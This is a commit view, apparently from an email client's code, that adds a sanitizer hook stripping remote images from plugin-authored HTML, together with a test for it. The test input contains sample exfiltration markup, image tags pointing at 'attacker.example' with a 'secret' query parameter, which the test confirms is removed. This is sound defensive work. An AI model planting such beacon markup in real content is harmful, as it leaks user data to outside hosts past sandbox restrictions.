fix: drop remote images from plugin-authored HTML so a plugin cannot beacon past its allowed origins

This commit is contained in:
Linus Rath
2026-10-19 01:15:04 +02:00
parent e6064f3476
commit 9e64d9a026
2 changed files with 28 additions and 1 deletions
+11
View File
@@ -832,6 +832,17 @@ describe('email-sanitization', () => {
expect(sanitizePluginBodyHtml('')).toBe('');
expect(sanitizePluginBodyHtml(' ')).toBe('');
});
it('drops remote images, which would carry data to any origin from the host page', () => {
// The sandbox CSP keeps a plugin to its manifest's httpOrigins; an
// https: image in text the host renders is a request to anywhere.
const out = sanitizePluginBodyHtml(
'<p>x</p><img src="https://attacker.example/x?d=secret"><img src="//attacker.example/y"><img src="data:image/png;base64,iVBORw0KGgo="><img src="cid:part1">',
);
expect(out).not.toContain('attacker.example');
expect(out).toContain('data:image/png;base64,');
expect(out).toContain('cid:part1');
});
});
// ALLOWED_URI_REGEXP excludes image/svg+xml on purpose (DOMPurify cannot see
+17 -1
View File
@@ -262,9 +262,25 @@ const PLUGIN_BODY_SANITIZE_CONFIG = {
ALLOWED_TAGS: [...SIGNATURE_SANITIZE_CONFIG.ALLOWED_TAGS, 'ul', 'ol', 'li', 'blockquote', 'h1', 'h2', 'h3', 'pre', 'code', 's', 'hr'],
};
/**
* Drop images in plugin-authored HTML unless they are embedded. A plugin's
* network reach is its manifest's `httpOrigins`, enforced by the sandbox
* CSP; an `https:` image the host page then loads for it is a request to
* any origin, carrying whatever the plugin put in the URL. A user's own
* signature may keep remote images (restrictSignatureImages); a plugin's
* text may not.
*/
function restrictPluginImages(node: Element): void {
if (node.tagName !== 'IMG') return;
const src = node.getAttribute('src');
if (!src || !/^(?:cid:|data:image\/(?:png|jpe?g|gif|webp);base64,)/i.test(src)) {
node.remove();
}
}
export function sanitizePluginBodyHtml(html: string): string {
if (!html?.trim()) return '';
DOMPurify.addHook('afterSanitizeAttributes', restrictSignatureImages);
DOMPurify.addHook('afterSanitizeAttributes', restrictPluginImages);
try {
return DOMPurify.sanitize(html, PLUGIN_BODY_SANITIZE_CONFIG);
} finally {